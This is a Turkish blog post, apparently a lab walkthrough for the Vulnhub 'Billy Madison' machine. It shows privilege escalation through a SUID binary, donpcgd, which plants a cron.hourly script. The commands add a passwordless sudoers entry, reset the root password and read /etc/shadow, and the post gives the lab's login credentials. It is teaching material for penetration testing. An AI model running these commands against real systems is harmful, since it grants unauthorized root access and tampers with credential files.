Linux İşletim Sisteminde SUID Biti Zafiyeti İstismar Edilerek Zamanlanmış Görev Oluşturulması ve root Yetkilerine Hak Yükseltilmesi

Sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de SUID biti uygun olarak yapılandırılmamış dosyaların yetkisizce çalıştırılmasıdır. Bu yazıda, SUID biti aktif olarak ayarlanmış “donpcgd” aracına sahip Billy Madison sanal makinesi üzerinde zamanlanmış bir görev oluşturulacak ve “root” kullanıcısı hakkı ile komut satırı / kabuk elde edilecektir.

Yazıda kullanılan Billy Madison sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/billy-madison-11,161/

 

İşletim sisteminin komut satırına erişim için bir takım arka kapılar kullanılarak 1974 portu açılır ve aşağıdaki kimlik bilgileri ile kullanılabilir.

Kullanıcı Adı: eric
Parola: triscuit*

 

Linux işletim sistemine bu kullanıcı (eric) ile oturum açıldığında, standart yetkilerle erişime sahip olunduğu görülmektedir.

id
head -3 /etc/passwd
head -3 /etc/shadow

 

İşletim sistemindeki dosyalar incelendiğinde, “donpcgd” dosyasının/aracının çalıştırılabilir bir dosya olduğu, SUID ve GUID bitletinin etkin olduğu görülmektedir.

file /usr/local/share/sgml/donpcgd
ls -la /usr/local/share/sgml/donpcgd

 

Araç çalıştırıldığında, parametre olarak 2 adet dosya istediği görülmektedir.

/usr/local/share/sgml/donpcgd

 

Araçla ilgili ayrıntılı bilgi için bakınız:

https://blogs.akamai.com/2016/01/delegate-v9913-setuid-binary-vulnerability.html

 

Bu araç kullanılarak; 2 dosyadan birincisi oluşturulur ve ikinci dosya olarak da herhangi bir dizinde – standart kullanıcı hakları ile yazılabilir olmayan bir dizin (“/etc/” gibi) de olabilir – rastgele bir dosya adı verilebilmektedir.

echo “Deneme dosyasidir.” > /tmp/birinciDosya
ls -la /tmp/birinciDosya
/usr/local/share/sgml/donpcgd /tmp/birinciDosya /etc/ikinciDosya
ls -la /etc/ikinciDosya
file /etc/ikinciDosya
cat /tmp/birinciDosya
cat /etc/ikinciDosya

 

Yukarıda da görüldüğü gibi, ilk dosyanın içi boşaltılarak ikinci dosya aracı çalıştıran kullanıcı yetkileri (bu örnek için “eric”) ile oluşturulmaktadır.

Ayrıca ikinci parametrede belirtilen dosyanın mevcudiyeti de kontrol edildiği görülmektedir.

/usr/local/share/sgml/donpcgd /tmp/birinciDosya /etc/ikinciDosya

 

Not: Dosyanın içi silinmese ve ikinci dosyanın mevcudiyeti kontrol edilmese idi; /etc/passwd dosyasının içerisine bilinen bir parola özeti yazılarak (örneğin; root kullanıcısına yeni bir parola verilmesi sağlanarak) hak yükseltme kolay bir şekilde gerçekleştirilebilirdi.

Özetle; “donpcgd” aracı sayesinde normalde yazma yetkisi olmayan bir klasörün içerisine yetkileri ayarlanabilecek (sahibi oluşturan kullanıcı olacak, yetki alınıp/verilebilecek) şekilde mevcutta olmayan bir dosya oluşturulabilmektedir. Bu zafiyetin istismarı için zamanlanmış görevler hilesi kullanılabilir. Yani; hak yükseltme saldırısı gerçekleştirmek için zamanlanmış görevlere yeni bir görev eklenebilir. Bu amaçla bir dosya hazırlanır ve “donpcgd” aracına bu dosya ilk parametre olarak verilir. İkinci parametre de /etc/cron.hourly/ dizininde herhangi bir dosya ismi verilir. Böylece /etc/cron.hourly/ dizininde bulunan dosyanın saatte bir çalıştırılması sağlanacaktır. Bu amaçla ikinci dosya çalıştırılabilir hale getirilir ve içerisine “root” yetkisi ile çalıştırılması istenen komut/betik yazılır.

touch /tmp/deneme
/usr/local/share/sgml/donpcgd /tmp/deneme /etc/cron.hourly/hakYukseltmeBetigi
echo -e ‘#!/bin/bash\necho “eric ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /etc/cron.hourly/hakYukseltmeBetigi
chmod +x /etc/cron.hourly/hakYukseltmeBetigi
cat /etc/cron.hourly/hakYukseltmeBetigi

 

Yukarıdaki satırda “eric” kullanıcısına “root” gibi her komutu çalıştırabilme yetkisi verilmiştir. Bunun yerine aşağıdaki ifade yazılarak “root” parolası da sıfırlanabilirdir.

echo -e ‘#!/bin/bash\necho -e “YeniParola” | passwd root’ > /etc/cron.hourly/hakYukseltmeBetigi2

 

Not: Bu sanal makinede denenen parola değiştirme yöntemlerinden sadece 3.sünün çalıştığı görülmüştür.

#!/bin/bash
# echo -e “Parola1\nParola1” | passwd root
# echo “Parola2” | passwd –stdin root
echo “root:Parola3” | chpasswd

 

Bu işlemler ile vakit geldiğinde “/etc/cron.hourly/” dizini altındaki betik (“hakYukseltmeBetigi”) çalışacaktır. Zamanlanmış görev çalışmadan önceki mevcut durumda “sudo” yetkisinin olmadığı görülmektedir.

date
sudo su –

 

Zamanlanmış görev çalıştığında hak yükseltme betiğinin çalıştığı ve kullanıcının “/etc/sudoers” dosyasına kaydedildiği görülmektedir.

date
sudo su –
id
head -3 /etc/shadow
tail -5 /etc/sudoers

 

 

Kaynak:

https://g0blin.co.uk/billy-madison-1-vulnhub-writeup/#checking-out-the-capture
https://m4ng0n3l.github.io/articles/2016-09/vulnhub-billy-madison

 

 

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.